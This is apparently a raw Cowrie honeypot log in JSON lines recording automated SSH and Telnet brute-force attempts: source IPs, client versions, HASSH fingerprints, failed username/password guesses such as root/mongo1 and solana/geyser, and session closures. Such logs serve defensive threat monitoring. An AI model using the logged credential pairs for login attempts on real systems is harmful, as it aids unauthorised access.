{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:49.970706Z","src_ip":"43.159.169.93","session":"31897b64df51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123123","message":"login attempt [test1/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:50.276625Z","src_ip":"43.159.169.93","session":"31897b64df51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:51.348210Z","src_ip":"43.159.169.93","session":"31897b64df51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":33776,"dst_ip":"10.17.0.5","dst_port":22,"session":"cde6063e48b2","protocol":"ssh","message":"New connection: 62.193.106.227:33776 (10.17.0.5:22) [session: cde6063e48b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:58.095239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:58.100007Z","src_ip":"62.193.106.227","session":"cde6063e48b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:58.247027Z","src_ip":"62.193.106.227","session":"cde6063e48b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mongo1","message":"login attempt [root/mongo1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:58.860907Z","src_ip":"62.193.106.227","session":"cde6063e48b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.58544421195984,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:59.772130Z","src_ip":"152.42.224.71","session":"7633d4aa4f3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:00.021752Z","src_ip":"62.193.106.227","session":"cde6063e48b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.678866386413574,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:13.583026Z","src_ip":"152.42.224.71","session":"309a0cb49865","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.201770067214966,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:16.004855Z","src_ip":"152.42.224.71","session":"af27cad0dc04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":49674,"dst_ip":"10.17.0.5","dst_port":22,"session":"409bce9ea78a","protocol":"ssh","message":"New connection: 193.32.162.145:49674 (10.17.0.5:22) [session: 409bce9ea78a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:16.187314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:16.197227Z","src_ip":"193.32.162.145","session":"409bce9ea78a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:16.298275Z","src_ip":"193.32.162.145","session":"409bce9ea78a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"geyser","message":"login attempt [solana/geyser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:16.601342Z","src_ip":"193.32.162.145","session":"409bce9ea78a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:17.758273Z","src_ip":"193.32.162.145","session":"409bce9ea78a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":56090,"dst_ip":"10.17.0.5","dst_port":22,"session":"63ca4da4e741","protocol":"ssh","message":"New connection: 194.147.93.208:56090 (10.17.0.5:22) [session: 63ca4da4e741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:18.250878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:18.255754Z","src_ip":"194.147.93.208","session":"63ca4da4e741","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:18.346456Z","src_ip":"194.147.93.208","session":"63ca4da4e741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhy123456","message":"login attempt [root/rhy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:18.741534Z","src_ip":"194.147.93.208","session":"63ca4da4e741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":35520,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d829d1f07a7","protocol":"ssh","message":"New connection: 43.128.111.187:35520 (159.203.135.109:22) [session: 1d829d1f07a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:18.928939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:18.938849Z","src_ip":"43.128.111.187","session":"1d829d1f07a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:19.183840Z","src_ip":"43.128.111.187","session":"1d829d1f07a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:19.834517Z","src_ip":"194.147.93.208","session":"63ca4da4e741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"panfeng","password":"panfeng","message":"login attempt [panfeng/panfeng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:20.194573Z","src_ip":"43.128.111.187","session":"1d829d1f07a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:21.444098Z","src_ip":"43.128.111.187","session":"1d829d1f07a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00358819961548,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:23.479638Z","src_ip":"152.42.224.71","session":"090331a5eba4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":54240,"dst_ip":"159.203.135.109","dst_port":22,"session":"085fe38d7e2c","protocol":"ssh","message":"New connection: 59.17.95.129:54240 (159.203.135.109:22) [session: 085fe38d7e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:25.696080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:25.701346Z","src_ip":"59.17.95.129","session":"085fe38d7e2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:25.906970Z","src_ip":"59.17.95.129","session":"085fe38d7e2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dasusr1","password":"passw0rd","message":"login attempt [dasusr1/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:26.756229Z","src_ip":"59.17.95.129","session":"085fe38d7e2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:27.964062Z","src_ip":"59.17.95.129","session":"085fe38d7e2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":51650,"dst_ip":"10.17.0.5","dst_port":22,"session":"7be8b5555b6a","protocol":"ssh","message":"New connection: 43.153.69.201:51650 (10.17.0.5:22) [session: 7be8b5555b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:29.581591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:29.586783Z","src_ip":"43.153.69.201","session":"7be8b5555b6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:29.655256Z","src_ip":"43.153.69.201","session":"7be8b5555b6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"irene123","message":"login attempt [root/irene123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:29.957673Z","src_ip":"43.153.69.201","session":"7be8b5555b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:31.029234Z","src_ip":"43.153.69.201","session":"7be8b5555b6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51988,"dst_ip":"10.17.0.5","dst_port":23,"session":"f85e1dd80340","protocol":"telnet","message":"New connection: 152.42.224.71:51988 (10.17.0.5:23) [session: f85e1dd80340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:33.169837Z"}
{"eventid":"cowrie.session.closed","duration":47.04414248466492,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:33.174776Z","src_ip":"152.42.224.71","session":"eb7ce80ecf74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.42105484008789,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:35.281354Z","src_ip":"152.42.224.71","session":"fc95f0aea3ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":37332,"dst_ip":"10.17.0.5","dst_port":22,"session":"c15c8092dc71","protocol":"ssh","message":"New connection: 43.159.35.21:37332 (10.17.0.5:22) [session: c15c8092dc71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:41.681142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:41.686131Z","src_ip":"43.159.35.21","session":"c15c8092dc71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:41.927746Z","src_ip":"43.159.35.21","session":"c15c8092dc71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"remove","message":"login attempt [root/remove] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:42.910395Z","src_ip":"43.159.35.21","session":"c15c8092dc71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:44.151165Z","src_ip":"43.159.35.21","session":"c15c8092dc71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45438,"dst_ip":"10.17.0.5","dst_port":23,"session":"df11db00746c","protocol":"telnet","message":"New connection: 152.42.224.71:45438 (10.17.0.5:23) [session: df11db00746c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:44.716608Z"}
{"eventid":"cowrie.session.closed","duration":120.00356698036194,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:49:47.656938Z","src_ip":"152.42.224.71","session":"5c574907bfd7","protocol":"telnet"}
